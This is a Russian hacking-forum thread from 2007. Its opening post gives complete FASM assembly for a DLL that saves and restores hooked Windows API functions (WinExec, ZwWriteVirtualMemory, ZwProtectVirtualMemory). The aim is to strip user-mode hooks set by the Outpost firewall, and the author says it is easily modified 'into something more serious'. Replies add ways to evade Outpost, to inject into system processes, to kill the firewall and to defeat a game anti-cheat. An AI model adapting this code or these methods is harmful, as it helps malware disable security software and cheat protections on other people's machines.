ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Dll для снятия хуков третьего кольца
  #1  
Старый 15.04.2007, 11:06
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию Dll для снятия хуков третьего кольца

Очень простой пример снятия хуков третьего кольца, с использованием DLL

Язык: Ассемблере(fasm).
Пояснение: Этот пример работает потому, что установщики хуков, обычно устанавливают их непосредственно перед точкой входа в программу, но загрузка и инициализация библиотек DLL, происходить ещё до запуска основной нити(ака Thread) процесса, так что мы разрешаем запись в эти функции, копируем их содержимое и разрешаем каму-попало устанавливать различные хуки, а когда они закончат, просто возьмём и восстановим всё как было.
Код DLL:
Код:
format PE GUI 4.0 DLL
entry DllEntryPoint

include 'win32a.inc'

section '.code' code readable executable

proc DllEntryPoint uses edi, hinstDLL,fdwReason,lpvReserved
        mov     edi, buffer

        stdcall BackUpProc, WinExec
        stdcall BackUpProc, ZwProtectVirtualMemory
        stdcall BackUpProc, ZwWriteVirtualMemory

        mov     eax, TRUE
        ret
endp

proc BackUpProc uses esi ecx ebx, Original
        mov     ebx, [Original]
        push    edi
        mov     edi, [ebx]

        mov     al, 0x90                ; Getting proc size by first nop
        xor     ecx, ecx
        mov     cl, -1
        repne   scasb
        jne     .Error
        not     cl

        add     ecx, 3
        shr     ecx, 2

        pop     edi

        mov     esi, [ebx]
        mov     [ebx], edi

        mov     eax, ecx
        stosd
        mov     eax, esi
        stosd

        lea     ebx, [ecx*4]
        rep     movsd

        invoke  VirtualProtect, eax, ebx, PAGE_EXECUTE_READWRITE, tmp
  .Error:
        ret
endp

proc RestoreAll
        stdcall RestoreProc, ZwProtectVirtualMemory
        stdcall RestoreProc, ZwWriteVirtualMemory
        stdcall RestoreProc, WinExec
        ret
endp

proc RestoreProc uses esi, Backup
        mov     esi, [Backup]
        mov     esi, [esi]
        mov     ecx, [esi]
        mov     edi, [esi+4]
        add     esi, 8
        rep     movsd
        ret
endp

section '.idata' import data readable writeable

  library ntdll,'NTDLL.DLL',\
          kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import ntdll,\
         ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\
         ZwWriteVirtualMemory,'ZwWriteVirtualMemory'

  import kernel,\
         WinExec,'WinExec',\
         VirtualProtect,'VirtualProtect'

section '.edata' export data readable

  export 'UNHOOK.DLL',\
         RestoreAll,'RestoreAll'

section '.resto' data readable writable

  buffer        rd 1024 ; 1 page
  tmp           dd ?

section '.reloc' fixups data discardable
Код примера вызова:
Код:
format PE GUI 4.0
entry start

include 'win32a.inc'

section '.code' code readable executable

  start:
        invoke  MessageBoxA, 0, msg, tit, MB_YESNO

        cmp     eax, IDYES
        jne     .dont_restore
        call    [RestoreAll]
  .dont_restore:

        invoke  WinExec, cmd, SW_SHOW
        invoke  ExitProcess, 0

  cmd           db 'C:\Program Files\Internet Explorer\IEXPLORE.EXE http://antichat.ru', 0
  msg           db 'Do you realy wonna take all the hooks off?', 0
  tit           db 'Do take it off?', 0

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL',\
          unhook,'UNHOOK.DLL'

  import kernel,\
         ExitProcess,'ExitProcess',\
         WinExec,'WinExec'

  import user,\
         MessageBoxA,'MessageBoxA'

  import unhook,\
         RestoreAll,'RestoreAll'

  xxx   dd ?
  yyy   dd ?
Данный пример снимает достаточно хуков для вызова эксплорера с адресом к командной строке, проверено на OutPost, его легко модифицировать и во что-нибудь более серьёзное, удачи...

Последний раз редактировалось hidden; 15.04.2007 в 11:13..
 
Ответить с цитированием

  #2  
Старый 15.04.2007, 13:06
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Молодец, конечно.
ЗЫ. Смотреть лень, оно снимает какие хуки-то? SetWindowsHookEx или перехват сплайсингом или чем еще.
 
Ответить с цитированием

  #3  
Старый 15.04.2007, 17:46
taha
Постоянный
Регистрация: 20.08.2006
Сообщений: 327
Провел на форуме:
2472378

Репутация: 1077
По умолчанию

Great, он спасается от сплайса. Dll инициализируется раньше запуска основного треда. Соответственно DllEntryPoint будет выполняться раньше точки входа и установщика хуков. Он бэкапит нужные функции. А когда начинает выполняться трэд он восстанавливает всё на место.
ЗЫ: С таким же успехом можно было запихнуть бэкапщик в TLS
 
Ответить с цитированием

  #4  
Старый 15.04.2007, 19:28
gevara
Познающий
Регистрация: 30.11.2006
Сообщений: 49
Провел на форуме:
36434

Репутация: 28
По умолчанию

хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory ZwCreateThread CreateRemoteThread и прочее, что препятствует инжекту в доверенный процесс.

лично я обходил это след. образом: подгружал копию либы ntdll.dll , kernel32.dll и восстанавливал затёртые байты функций (там вначале функции идёт jmp на аутпостовскую либу). В итоге - полное молчание аутпоста даже на инжект в сервисхост.
 
Ответить с цитированием

  #5  
Старый 15.04.2007, 23:06
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((

>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory

аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье

Последний раз редактировалось KEZ; 15.04.2007 в 23:11..
 
Ответить с цитированием

  #6  
Старый 15.04.2007, 23:34
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Цитата:
Сообщение от kez  
аутпост ставит хук на звВрайтвиртуалмемори через Sdt в нулевом колцье
Это тоже не помешает, если перехватить её и записать что надо, куда надо во время создания процесса, т.к. она вызывается при это несколько раз и отутпост не имеет право ей мешать, пока процесс окончательно не закончит формирование параллельного.
 
Ответить с цитированием

  #7  
Старый 16.04.2007, 01:53
1ten0.0net1
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме:
2320925

Репутация: 1348


По умолчанию

Ужос, млин! Либо мне надо срочно начинать учить хуки всякие либо ппц - совесть моя меня съест (
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.
 
Ответить с цитированием

  #8  
Старый 16.04.2007, 12:33
gevara
Познающий
Регистрация: 30.11.2006
Сообщений: 49
Провел на форуме:
36434

Репутация: 28
По умолчанию

Цитата:
Сообщение от KEZ  
все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((

>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory

аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье
Полный бред. аутпост СДТ не перехватывает. это может быть либо КАВ либо ещё что-то... Я даже прогу писал - убивает аутпост через инжект в него, затем ZwTerminateProcess(-1,0); Драйвер аутпосту нужен лишь для перехвата устройств \Tcp \Ip \Udp \RawIp. Хук на инжект ставится в третьем кольце. По крайней мерии, я тестировал на версии третьей и четвёртой версиях.

Последний раз редактировалось gevara; 16.04.2007 в 12:40..
 
Ответить с цитированием

  #9  
Старый 09.03.2009, 13:18
roleg
Banned
Регистрация: 27.03.2008
Сообщений: 66
Провел на форуме:
548347

Репутация: 113
Отправить сообщение для roleg с помощью ICQ
По умолчанию

Вернемся к теме вот античит для линейки который ставит хуки на CreateThead.
shieldConsole
Как их снять воспользовавшись данным методом?

За помощь +++++ )
 
Ответить с цитированием

  #10  
Старый 09.03.2009, 16:53
ProTeuS
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме:
4226592

Репутация: 2175


Отправить сообщение для ProTeuS с помощью ICQ
По умолчанию

для на4ала снять WinLicense на бинаре, декомпильнуть код из ВМ и изу4ать принцип работы, ибо единоразовым снятие хуков врядли думаю решится проблема
а, вообще, тебе в раздел реверсинга...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
большой обзор программ для шифрования и защиты данных BlackCats Soft - Windows 15 25.11.2007 23:28
10 вещей, которые вам нужно знать про Vista Firewall ground_zero Мировые новости 2 11.02.2007 19:02
Программы для работы с железом. Часть I – настройка видеокарт _GaLs_ Аппаратное обеспечение 2 20.12.2006 01:18
Лента новостей… Allen Мировые новости 10 27.11.2006 01:08
Microsoft может отказаться от выпуска третьего сервис-пака для Windows ХР ground_zero Мировые новости 3 28.10.2006 17:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ